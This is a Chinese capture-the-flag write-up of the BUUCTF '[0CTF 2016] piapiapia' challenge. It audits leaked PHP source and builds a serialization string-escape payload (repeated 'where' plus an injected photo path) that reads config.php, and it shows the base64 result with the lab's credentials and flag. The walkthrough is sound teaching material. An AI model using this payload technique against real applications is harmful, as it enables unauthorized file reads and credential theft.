BUUCTF [0CTF 2016] piapiapia
BUUCTF [0CTF 2016] piapiapia
考点
- php代码审计
- 反序列化字符串逃逸
启动环境:
首先是个登录框,只有登陆功能,尝试了一波弱密码和万能密码:
猜测可能不是,继续对题目进行信息收集,使用ctf-wscan扫描网站目录:
python3 ctf-wscan.py http://xxx.cn/
得到扫描结果:
查看到其存在注册页面:
访问update.php
页面:
需要先进行登陆。
以及其存在源码泄露,下载www.zip
到本地:
对源码进行分析,其中static中存放的网页CSS、JS等内容,upload目录应该存放的是上传的文件,当前为空。
首先查看config.php
:
<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';
?>
其中定义了username
的值为root
,以及存在变量$flag
class.php
页面定义了各种方法。
register.php
页面和index.php
页面作为注册登陆,没发现什么明显利用点。
在update.php
页面中:
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>
<!DOCTYPE html>
<html>
<head><title>UPDATE</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div>
</body>
</html>
<?php}
?>
首先通过SESSION验证登陆状态,然后根据正则表达式过滤传入的数据。
仔细观察,其中对nickname
的验证与之前不同,此处通过strlen()
验证了长度不能超过10
此处可以通过数组绕过限制。
在最后调用update_profile()
时调用了serialize()
函数,推测其可能存在反序列化漏洞,在class.php
页面中查找update_profile()
函数:
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}
其中filter()
函数:
public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}
其中update()
函数:
public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}
其基本逻辑为:
- 正则表达式过滤提交的参数
- 序列化变量
$profile
- 将非法值替换为
hacker
在profile.php
页面中:
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head><title>Profile</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div>
</body>
</html>
<?php}
?>
其中$photo = base64_encode(file_get_contents($profile['photo']));
,其中变量$photo
经过了file_get_contents()
处理,若在此处将$profile['photo']
替换为config,php
,那么就可以读取到其中的flag。
经过查阅资料,此处为反序列化字符串逃逸
例如:
序列化:
<?php$a = array('123', 'abc', 'defg');var_dump(serialize($a));
?>
得到结果:
string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
将结果反序列化:
<?php$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';var_dump(unserialize($b));
?>
得到结果:
array(3) {[0]=>string(3) "123"[1]=>string(3) "abc"[2]=>string(4) "defg"
}
反序列化是以";}
结束的,因此需要把";}
带入需要反序列化的字符串中,使反序列化提前结束而后面的内容就会被丢弃。
将第二个值的abc
替换为:abc";i:2;s:5:"qwert";}
后,再次执行反序列化,得到结果:
array(3) {[0]=>string(3) "123"[1]=>string(3) "abc"[2]=>string(5) "qwert"
}
将之前defg
的值,替换为了qwert
在本题中,首先序列化字符串内容可控,所以此时构造包含config.php
的数据,利用反序列化字符串逃逸,在profile.php
页面中读出flag。
首先在register.php
页面注册用户test
:
成功登陆后,进入到update.php
页面:
提交数据后,用BurpSuite抓取数据包:
在修改参数尝试反序列化字符串逃逸时,发现update.php
页面将提交的参数序列化处理:
<?php$profile['phone'] = '13636363636';$profile['email'] = '123456789@qq.com';$profile['nickname'] = 'test1';$profile['photo'] = 'upload/f3ccdd27d2000e3f9255a7e3e2c48800';var_dump(serialize($profile));
?>
得到序列化后的结果:
string(159) "a:4:{s:5:"phone";s:11:"13636363636";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:5:"test1";s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}"
nickname
前面s
的值无法更改,所以在最后构造一个闭合,使得photo
的值被丢弃,也就是";}s:5:"photo";s:10:"config.php";}
若想拼接进反序列化字符串中,还需经过filter()
函数过滤:
public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}
其中";}s:5:"photo";s:10:"config.php";}
长度为34
,所以需要额外34
位,所以在写入where
时,被替换为hacker
,字符串长度+1
将nickname
修改为数组类型,并尝试构造payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
发送数据包,在profile.php
页面查看修改后的内容:
信息修改成功,图片未能加载,查看图片的源码链接:
<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2E2ZDk2NGMzLTg0MWEtNGYwNy05YmNhLTczZmJkNjhkZjQxZX0nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;">
对其进行BASE64解码,得到flag:
BUUCTF [0CTF 2016] piapiapia相关推荐
- [0CTF 2016]piapiapia WP(详细)
[0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...
- BUCTF[0CTF 2016]piapiapia
[0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...
- BUU [0CTF 2016]piapiapia
BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...
- [0CTF 2016]piapiapia php反序列化字符串逃逸
一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...
- [0CTF 2016] piapiapia
piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...
- [0CTF 2016]piapiapia 详细解题思路及做法
前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 题目 进去是一个登陆界面,尝试sql注入,发 ...
- [0CTF 2016]piapiapia -php序列化溢出
题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...
- [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)
这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...
- [0CTF 2016]piapiapia(字符逃逸详解)
目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...
- 审计练习5——[0CTF 2016]piapiapia
平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...
最新文章
- 李飞飞团队最经典计算机视觉课更新!斯坦福出品,深度学习入门必备
- MYSQL之SQL语句练习及思路_1
- 【好书试读】大数据处理之道
- Redis跳跃表详解
- English sentences
- springboot怎么杀进程_全新Steam在线游戏 Among us太空狼人杀攻略
- apache将请求转发到到tomcat应用
- django 1.8 官方文档翻译: 1-1-1 Django初探
- 车载系统华山论剑:Ali OS、Android、QNX孰优孰劣
- Linux下C语言实现俄罗斯方块——详细版
- mfc通过com控制AutoCAD导出jpg文件
- vs2010 c语言乱码,从vs2010中复制带有中文字符的代码到office等时出现乱码的解决方案.doc...
- 小米 12S Utra 莱卡水印生成在线工具
- Qt编写自定义控件54-时钟仪表盘
- 【PBL项目实战】户外智慧农场项目实战系列——5.天气预报API接口对接
- 网狐棋牌游戏平台服务器架构设计分析[转]
- JAVA计算机毕业设计助农脱贫系统Mybatis+源码+数据库+lw文档+系统+调试部署
- 线路负载及故障检测装置《我搜集的资料》
- 又是传销的 喜欢看故事的也可以看看 非常恐怖 都看看吧 加强自我保护意识(转自糗百)
- 学好电气全靠它,个人电气博文目录(持续更新中.....)